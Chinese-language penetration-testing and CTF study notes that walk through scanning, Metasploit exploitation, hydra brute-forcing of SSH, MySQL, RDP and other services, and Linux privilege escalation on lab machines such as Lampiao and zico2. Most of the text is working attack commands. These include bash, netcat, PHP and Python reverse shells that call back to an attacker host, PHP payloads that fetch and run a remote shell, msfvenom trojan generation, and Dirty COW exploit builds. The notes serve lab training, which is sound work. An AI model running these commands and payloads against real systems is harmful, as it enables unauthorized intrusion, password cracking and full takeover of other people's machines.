优秀的人,不是不合群,而是他们合群的人里面没有你
解题思路
- 信息收集,包括nmap扫描端口,网站dirsearch和dirb两个一起扫描试试看,然后whatweb看看用的啥cms
- 对IP的扫描结果整理好,nmap结果重点看能否爆破登陆,用fscan跑一下,内存不够就不用nessus了
- 对web的结果整理好,查看一下源代码,用awvs跑一下
- 整理好资产,cms,服务等等,在msf和searchsploit中搜索一下看有没有问题,msf有的话直接打,searchsploit有的话,查看一下怎么利用
需要注意的有:
shell要切换到tmp目录下
chmod添加权限也别忘
有时候实在不方便,就上传socat在玩
- getshell后就是提权一把锁哈套路上传socat,Linux信息一键收集脚本,然后用SUDO -i提权,不行的话就sudo ./目录下的文件,不行再SUID提权,不行再cve提权(两个脏牛挺好用),还是不行在内核提权。
找flag要注意的地方
1. WEB- flag通常会隐藏在phpinfo页面,所以能弄出来就试一下phpinfo,如果没有phpinfo,就写一个文件进去访问 <?phpinfo();?>
2. WEB- 有目录文件包含漏洞,就模糊测试一下flag位置
3. WEB- 重点要注意的是,web浏览器要经常F12看看网页源代码,可能隐藏flag
4. WEB- 一定要扫描目录,然后下载查看敏感信息
5. SHELL- grep -r flag{ / 2>/dev/null
6. SHELL- find / -name flag*
7. SHELL- cat * | grep flag
8. SHELL- env 查看虚拟环境有没有信息
9. SHELL- find / -name *flag*.txt
渗透流程:
- 确定网段信息 (kali:ifconfig)
- 同网段内主机存活性扫描 (nmap 192.168.33.1/24)
- 分析陌生IP地址,确定目标主机IP
信息收集
首先扫描网段存活的IP,用如下命令:
nmap –sp 192.168.12.0/24
nmap -sS 192.168.1.* // 这条命令更好用!!
找到可疑存活的ip后,用这个命令看看开放的端口
nmap -p- -sV 192.168.33.145
nmap -sS -sV -p- -A 192.168.33.145 // 这条命令更好用!!
扫描之后,哪些端口开放,运行哪些服务需要有个底,博客有相关的端口服务对照表,然后就测试一下对应的服务是不是有问题,得用msf了
如果是web类的题目,主要是扫描目录,仔细看看网页源代码~多用点工具
python dirsearch -u "http://192.168.33.148:1898/" -e *
dirb http://192.168.33.148:1898/
爬个用来爆破的字典:
cewl http://192.168.33.148:1898/ -w pass.txt
用来爆破用
漏洞扫描
扫描完毕后,看看哪些服务是可以爆破的哈~弱口令之类的,爆破一把~
收集完毕信息,就上工具一把锁哈试一试
fscan
fvuln
g0by
就这三个,基本上随便测试一下,不要用太多工具浪费时间。web类的awvs和nessus以及xray采用得多。
一般来说,能出一些弱口令的数据库,然后nessus是好东西,跑出来的数据怎么利用呢?
看看这里
第一步找到这里比较危险的漏洞
点击进去,使用有道翻译一下漏洞描述~~有时候有弱口令,有时候有msf能用的cve漏洞,在这里
看这个端口运行的服务,记住这个服务,可以在msf搜索相关的服务的关键词比如irc
不过我建议用nmap扫描端口获取它返回的banner,这样服务的名字就更加全面
运气好会在右下角帮你标注出来
MSF漏洞测试
要是扫描器没能跑出结果,就在msf手动一个一个测试exp看看能不能用
第一步
搜索服务
比如nmap扫描结果其中有
6667/tcp open irc UnrealIRCd
那就启动msf,然后搜索irc或者realircd这样
有时候只有一个,有时候很多个,有时候找不到。找不到就修改关键词再找找,和多个就看看尽量是multi/linux这种类型和目标机器一样的,目标机器win就用win的exp。
第二步
选择攻击模块
第一步找到exp后,选择攻击模块,进来选择rank区是excellent类型的exp,危害大爽歪歪。看到对应的编号,选择它
use 0
第三步
查看配置参数
使用命令
show options
查看需要配置的参数
标红的就是需要修改的,因为上面写了yes嘛,这样修改
set rhosts 目标ip
修改完成后再show options看看是不是写全了
注意了,一般来说
RHOSTS: 目标ip
RPORT: 目标服务端口
LHOSTS: 本地监听的ip
LPORT: 本地监听的端口,不要和本地服务的端口冲突
SERVHOST: 本地转发的IP,就是本地IP
SERVPORT: 本地转发监听的端口,就是本地端口,但是需要注意不要和RPORT重复冲突
第四步
直接运行,使用命令
run
然后就可以拿到权限了,输入whoami,这样常见的比如
find / -name flag*
find / -name *flag
如果命令输入不好看,用这个命令就可以舒服一下
python -c 'import pty;pty.spawn("/bin/bash");'
不好用就用这个命令
shell
如果发现执行失败了,可能有两个原因,第一个是exp不对,毕竟search的时候可能搜索一大堆,不对是常见的情况,换个exp,另一个可能就是当前exp的payload不对,一个exp有多个payload,换个payload试一试看,使用命令
show payloads
set payload 0
然后再run试一试
第五步完事儿
ctrl+c退出,然后输入
back
回退,就可以继续测试别的IP了
弱口令漏洞测试
这里主要是根据第一步nmap的结果,对已知的数据库进行爆破,说一下hydra怎么用的吧
首先要准备账号密码的字典username.txt和password.txt,爆破很简单,固定格式
hydra -l 用户名 -P 密码字典 -s 3306 192.168.31.173 mysql
hydra -l root -P xxx.txt mysql://192.168.31.173:3306
hydra -L usrname.txt -P password.txt 192.168.31.173 ssh
-l 指定用户名
-p 指定密码
-L 指定用户名字典
-P 指定密码字典
-C 指定所用格式为“user:password”的字典文件
-e
n null,表示尝试空密码
s same,把用户名本身当做密码进行尝试
r 反向,把用户名倒叙,当做密码进行尝试。
-vV 显示执行细节
-o 保存执行结果
-s 指定非默认端口
-M 指定破解的目标文件,如果不是默认端口,后面跟上“:port”
-t 指定爆破时的任务数量(默认16)
服了,这吊玩意不好用~!!!!还不如FSCAN或者超级弱口令检查工具
服了,这吊玩意不好用~!!!!还不如FSCAN或者超级弱口令检查工具
比如数据库弱口令,无密码登陆等等,爆破进去后,查看flag的数据,这里列举一下这些服务怎么找flag
mysql
MySQL数据库爆破
hydra -l 用户名 -P 密码字典 192.168.31.173 mysql
空口令登陆
mysql –h 192.168.160.131 –u root
mysql -h 192.168.33.145 -uroot --skip-ssl (空口令)
mysql常用数据库语法
show databases;
use 库名;
show tables;
select * from users;
telnet
登陆方式
telnet 192.168.33.145
然后输入账号密码
postgresql
postgresql数据库爆破
hydra -l 用户名 -P 密码字典 192.168.31.173 postgresql
登陆方式
psql -h 192.168.33.145 -U postgres
默认账号密码postgres
vnc
远程桌面,登陆方式
vncviwer 192.168.33.145
输入默认密码password
ssh
爆破
hydra -l root -P pwd.txt 192.168.31.173 ssh
登陆方法
ssh root@192.168.1.75
rdp
远程桌面爆破
hydra -l administrator -P 密码字典 192.168.31.173 rdp
smb
共享文件爆破
hydra -l administrator -P 密码字典 192.168.31.173 smb
ftp
文件传输爆破
hydra -l 用户名 -P 密码字典 192.168.31.173 ftp
扫描出来匿名登陆,用命令
ftp 192.168.65.130
输入账号 ftp 或者anymonus
密码直接回车不输入
常用命令:
help [命令] 或 ?[命令] 查看命令说明
bye 或 quit 终止主机FTP进程,并退出FTP管理方式.
pwd 列出当前远端主机目录
put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中
get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中
mget [remote-files] 从远端主机接收一批文件至本地主机
mput local-files 将本地主机中一批文件传送至远端主机
dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件
pop3
邮箱协议爆破
hydra -l 用户名 -P 密码字典 -s 55007 192.168.1.107 pop3
hydra -l boris -P xxx.txt pop3://192.168.1.107:55007
登陆方式
nc 192.168.1.107
user root
pass 123456
然后查看有哪些邮件
list
查看信息,用命令
retr 1
retr 2
mssql
MSSQL数据库爆破
hydra -l sa -P 密码字典 192.168.31.173 mssql
Oracle数据库
Oracle数据库爆破
hydra -l 用户名 -P 密码字典 192.168.31.173 oracle
redis
Redis数据库
hydra -l 用户名 -P 密码字典 192.168.31.173 redis
连接
redis-cli -h host -p port
如果有密码
redis-cli -h host -p port -a password
查询数据,可以用命令或者工具
使用常见的Redis查询命令来获取数据,例如:
GET <key>:获取指定键的值。
HGET <key> <field>:获取哈希表中指定字段的值。
LINDEX <key> <index>:获取列表中指定索引的元素。
SMEMBERS <key>:获取集合中的所有元素。
ZRANGE <key> <start> <stop>:获取有序集合中指定范围的元素。
反弹shell
一般来说根目录普通用户是没权限查看,/tmp目录一般有权限,然后还的chmod添加权限,有个基础知识
su root
切换到root用户
su user
切换到普通user用户
sudo -i
直接变成root权限
shell优化美容
前提是获取到普通的shell后,开始提升权限
- kali的ip–>192.168.65.129
- 靶机的ip–>192.168.65.131
反弹shell
也可以直接在msf里面直接shell命令完成
kali:nc -lvvp 4455
监听本地4455端口
这个是最重要的第一步!!
然后就是在靶机上想办法反弹shell出去
可以这样
靶机:bash -i >& /dev/tcp/192.168.65.129/4455 0>&1
靶机:bash -c "bash -i >& /dev/tcp/192.168.65.129/4455 0>&1"
靶机如果有nc
nc -e /bin/sh 192.168.2.130 4444 但某些版本的nc没有-e参数(非传统版),则可使用以下方式解决
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
如果通过网页命令执行漏洞请求执行,需要将命令进行url编码。
除了bash命令,还可以php命令:
<?php
$sock=fsockopen("ip地址",端口);
exec("/bin/sh -i <&3 >&3 2>&3");
?>
怎么用呢?比如有这么一个xx.php文件,内容:
<?php $sock = fsockopen("192.168.65.129", 1234);exec("/bin/sh -i <&3 >&3 2>&3");?>
上传好了,在浏览器访问这个文件,如果这个文件的代码被waf拦截,那就上传这个绕过
<?php system("wget 192.168.65.129:8088/xx.php -O /tmp/shell.php;php /tmp/shell.php");?>
还可以用python反弹shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
继续浏览器访问
升级shell
升级方法1
kali的nc输入口1:python -c 'import pty;pty.spawn("/bin/bash");'
不好使就试一试
kali的nc输入口1:shell
升级方法2
不太好看,用socat
但是靶机没有socat这个东西,需要共享出去
kali的nc输入口2:python -m http.server 8088
kali的nc输入口1:cd /tmp
/tmp这个吊目录是所有人都可以下载的目录
kali的nc输入口1:wget http://192.168.65.129:8088/socat
/$ 靶机下载下来了
kali的nc输入口1:ls
kali的nc输入口1:chmod +x socat
给socat执行权限
所以等待socat上传好了,就可以使用socat替换nc
kili上面有socat的话,执行命令:./socat file:`tty`,raw,echo=0 tcp-listen:4456
靶机上面有socat的话,执行命令:./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.65.129:4456
然后kali下就可以直接用socat了
升级方法3
蚁剑自带的虚拟终端如果提示必须要用terminal终端,可以用python-c升级终端,如果不好用,最好是在蚁剑上传socat到tmp目录下,然后再kali下运行exp。保险一些。
msfvovem生成木马
-p payload
-e 编码方式
-i 编码次数
-b 在生成的程序中避免出现的值 LHOST,LPORT 监听上线的主机 IP 和端口
-f 生成 payload 的格式
-l 查看可利用 payload
下面是生成不同类型的木马
## Linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
## Windows:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
## Mac:
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
## PHP:
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >>
shell.php
## ASP:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
## JSP:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
## WAR:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
## Python:
msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
## Bash:
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
## Perl:
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
课堂笔记
提权:
反弹shell:
nc -lvvp 1234
bash -i >& /dev/tcp/192.168.33.143/1234 0>&1
升级终端:
python -c 'import pty;pty.spawn("/bin/bash");'
如果出现乱码,
python -c 'import pty;pty.spawn("/bin/bash");'
CTRL + Z
stty raw -echo
socat升级终端:
kali: python -m http.sever 2598
kali: ./socat file:`tty`,raw,echo=0 tcp-listen:4444
kali-shell: cd /tmp
wget http://kali:2598/socat
chmod +x socat
./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.33.143:4444
提权:
socat-shell:
cd /tmp
wget http://kali:2598/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh(看内核版本、可能提权的漏洞)
kali:
searchsploit 3.19
locate linux/local/37292.c
cp /usr/share/exploitdb/exploits/linux/local/37292.c Templates/tools(共享目录)
cat 37292.c
socat-shell:
cd /tmp
wget http://kali:2598/37292.c
chmod +x 37292.c
gcc 37292.c -o ofs
./ofs
kali:
su user
searchsploit dirty
suid提权:
find / -perm -4000
网址:https://gtfobins.github.io/
find提权:find test.txt -exec /bin/sh \;
渗透思路:
拍个快照
黑盒:
1.确定网段(保证靶机和kali同样网卡,kali:ifconfig)
2.扫描网段(nmap 192.168.33.1/24)
3.确定目标
打靶机:
扫描端口:nmap -p- -sV 192.168.33.252
80端口:
测试网站的功能
目录扫描 (dirb http://192.168.33.252/)
Lampiao:
扫描端口:nmap -p- -sV 192.168.33.252
80端口:
测试网站的功能:/audio.m4a内容:tiago
目录扫描 (dirb http://192.168.33.148:1898/)robots.txt==>CHANGELOG.txt(Drupal )
思路一:
msf:
search Drupal
use exploit/unix/webapp/drupal_drupalgeddon2
set rhost 靶机ip
set rport 1898
run
shell:
shell
python -c 'import pty;pty.spawn("/bin/bash")'
脏牛提权:
kali:
searchsploit dirty
cp 到共享目录
python -m http.server 2598 (40847.cpp)
kali-shell:
cd /tmp
wget http://kali-ip:2598/40847.cpp
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
./dcow -s
思路2:
猜测账号:tiago
爬个字典:cewl http://192.168.33.148:1898/ -w pass.txt
爆破ssh:hydra -l tiago -P pass.txt 192.168.33.148 ssh
得到密码:Virgulino
登录:ssh tiago@192.168.33.148
提权同上
zico2:
扫描端口:nmap -p- -sV 192.168.33.149
80端口:
测试网站的功能:发现文件包含 http://ip/view.php?page=../../../../../etc/passwd
目录扫描 (dirb http://192.168.33.149) dbadmin页面
弱口令:admin 进入
searchsploit phpLiteAdmin (找到漏洞利用方法)
测试:
creat db --> change db --> creat table --> default(<?php phpinfo();?>)
攻击:
kali:shell.txt ==>
<?php $sock = fsockopen("192.168.33.143", 1234);exec("/bin/sh -i <&3 >&3 2>&3");?>
共享出去
web:
creat db --> change db --> creat table --> default()
default: <?php system("wget 192.168.33.143:2598/shell.txt -O /tmp/shell.php;php /tmp/shell.php");?>
提权(dirty):
shell:
cd /tmp
wget 192.168.33.143:2598/dirty.c
gcc -pthread dirty.c -o dirty -lcrypt
./dirty 123
python -c 'import pty;pty.spawn("/bin/bash");'
su firefart
id
cewl是一个ruby应用,爬行指定url的指定深度。也可以跟一个外部链接,结果会返回一个单词列表,这个列表可以扔到wpscan等密码爆破工具里进行密码破解